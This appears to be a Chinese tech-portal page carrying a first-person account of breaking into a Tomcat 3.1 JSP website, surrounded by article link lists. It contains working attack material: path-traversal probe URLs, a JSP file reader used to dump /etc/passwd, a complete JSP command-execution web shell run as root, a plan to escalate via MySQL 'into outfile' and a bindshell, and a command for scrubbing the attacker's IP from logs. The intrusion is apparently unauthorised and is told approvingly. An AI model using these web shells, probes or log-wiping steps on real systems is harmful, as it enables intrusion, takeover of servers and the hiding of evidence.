- 热门文章:
- · 实例分析:一次利用社会工程学的入侵
- · >>>全文阅读
- · 教你十全武功 上网电脑防范黑客基本法则
- · 贴身“保镖” 国内首款杀毒U盘问世
- · 窥视金山毒霸最新产品:杀毒U盘
- · 全文阅读
- · 全文阅读
- · 全文阅读
- · 全文阅读
- · 巧妙运用dw进行网页制作技巧
- · 网秦NetQin 2.0手机杀毒软件功能详解
- · 如何用iis建立高安全性web服务器
现场纪实——如何入侵基于JSP的网站
| telnet www.target.com 8080 GET /CHINANSL HTTP/1.1 [Enter] [Enter] |
返回的结果如下:
| HTTP/1.0 404 Not Found Date: Sun, 08 Jul 2001 07:49:13 GMT Servlet-Engine: Tomcat Web Server/3.1 (JSP 1.1; Servlet 2.2; Java 1.2.2; Linux 2 .2.12 i386; java.vendor=Blackdown Java-Linux Team) Content-Language: en Content-Type: text/html Status: 404 〈h1〉Error: 404〈/h1〉 〈h2〉Location: /CHINANSL〈/h2〉File Not Found〈br〉/CHINANSL |
获得了运行的WEBServer的名称“Tomcat 3.1”。记得曾经发现过这个版本的漏洞,并且post到bugtrap上去过。
回忆一下,大概是通过“..”技术可以退出WEB目录,于是:
| http://target:8080/../../../../%00.jsp (不行) http://target:8080/file/index.jsp (不行) http://target:8080/index.JSP (不行) http://target:8080/index.jsp%81 (不行) http://target:8080/index.js%70 (不行) http://target:8080/index.jsp%2581 (不行) http://target:8080/WEB-INF/ (不行) |
看来安全状况似乎还不错,我们再来进行一下更深层的测试。Tomcat 3.1自带了一个管理工具,可以查看WEB下的目录及文件,并且可以添加context。于是尝试:
| http://target:8080/admin/ |
管理员果然没有删除或禁止访问这个目录,从安全的角度说,这点应该算是一个比较重要的失误。
接着,点击“VIEW ALL CONTEXT”按钮,列出了WEB目录下的一些文件和目录的名称,很快发现了一个上传文件的组件,通过这个组件将一个JSP文件上传到对方的WEB目录里:
| 〈%@ page import="java.io.*" %〉 〈% String file = request.getParameter("file"); String str = ""; FileInputStream fis = null; DataInputStream dis = null; try{ fis = new FileInputStream(file); dis = new DataInputStream(fis); while(true){ try{ str = dis.readLine(); }catch(Exception e){} if(str == null)break; out.print(str+"〈br〉"); } }catch(IOException e){} %〉 |
然后执行:
| http://target:8080/upload/test.jsp?file=/etc/passwd |
密码出来了。接下来的过程是猜测密码,没有成功。不过,现在相当于有了一个SHELL,猜不出密码可以先把IE当作SHELL环境。
再写一个JSP文件:
〈%@ page import="java.io.*" %〉
〈%
try {
String cmd = request.getParameter("cmd");
Process child = Runtime.getRuntime().exec(cmd);
InputStream in = child.getInputStream();
int c;
while ((c = in.read()) != -1) {
out.print((char)c);
}
in.close();
try {
child.waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
}
} catch (IOException e) {
System.err.println(e);
}
%〉
然后把这个JSP再通过upload上传,有SHELL了。
http://target:8080/upload/cmd.jsp?cmd=ls+-la+/
(详细结果这里就不列出来了)
怎么获得root权限呢?经过一番搜索发现系统安装了MySQL,并且从JSP的源代码中得到了MySQL的密码,执行:
sqld"〉http://target:8080/upload/cmd.jsp?cmd=ps+aux+|grep+mysqld
显示:
root 87494 0.2 1.9 17300 4800 p0- S 28Jun01 5:54.72 /usr/local/data/mysql
系统是以root身份运行的MySQL。这时我思考了一下,既然知道了MySQL的密码,那就可以写一个SHELL程序,让它创建一个表,然后将我的数据放到表中,再使用“select ... into outfile;”的办法在系统上创建一个文件,让用户在执行su的时候,运行我的程序。(还记得apache.org有一次被入侵吗?黑客就采用的这种办法)。
之后就比较简单了,上传bindshell之类的程序,运行、获得nobody的权限,使用su root时帮忙创建的setuid shell让自己成为root。
但是,接下来已经实际操作,结果令人颇感意外:
http://target:8080/upload/cmd.jsp?cmd=id
显示:
uid=0(root) gid=0(xxx) groups=0(xxx),2(xxx),3(xxx),4(xxx),5(xxx),20(xxx),31(xxx)
原来这个WEB SHELL本来就是ROOT!管理员的安全设置工作到底怎么做的?
http://target:8080/upload/cmd.jsp?cmd=ps+aux
果然是root身份运行的(不列出来了)
剩下的事情:
1、删除我的telnet记录。
2、删除http的日志。
清除日志我使用的办法是:cat xxx |grep -V "IP" 〉〉temp然后在把temp覆盖那些被我修改过的日志文件。
说明一点,我没有更换该网站的页面,因为我只是个网络安全爱好者。所以,发封邮件告诉system admin吧!当然,我顺便在信中提到,如果需要安盟信息科技为他提供安全服务的话,我们会非常的高兴!(T114)
- · 网友自述 诺基亚7610遭遇手机病毒经历
- · 手机病毒陡然增长 软件商预热杀毒商机
- · 手机病毒数量过百 智能手机成重点目标
- · Symbian手机病毒借杀毒软件名称骗人
- · 手机病毒威胁日益严重 安全公司看法不同
- · 手机病毒引起警惕 移动设备安全性超过PC
- · 菜鸟宝典——黑客新手基础知识16问答
- · 中国黑客常用的八种工具及其防御方法
- · 黑客兵器 如何选择好的漏洞扫描工具
- · 做黑客就狠一点 “批量溢出”工具试用感受
- · 人小鬼大的黑客工具——QQ远控精灵
- · knockout抠图实例剖析:羽化边缘
- · 照片处理:将自己的照片处理成手绘自画像
- · photoshop特效:美丽的压条编织效果
- · photoshop鼠绘实例剖析:鲜嫩欲滴的西红柿
- · photoshop鼠绘实例:青花瓷盘与红辣椒
- · photoshop为美眉插上美丽的幻彩翅膀
- · photoshop特效:超级螺旋变幻线
- · 磁盘的容量和文件的大小
- · 输入法使用中的一些小技巧
- · 汉字的输入
- · 用E-Mail收发电子邮件
- · 英语文字的输入
- · 通过系统小游戏练习鼠标
- · 使用鼠标右键打开程序
- · 更加深入地学习金山文字2003
- · 金山文字2003的高级操作二
- · 金山文字2003的高级操作技巧(1)
- · 金山文字中表格的高级操作
- · 金山文字中插入并调整表格属性
- · 金山文字中对象的高级操作
- · 金山文字中对象排版位置的调整
- · 金山文字中插入对象并修改属性
- · 界面的调整和文字的打印
- · 金山文字中文字格式的调整
- · 金山文字中段落格式的调整
- · 办公软件中段落的分合及符号的输入
- · 金山文字中文字的移动和复制
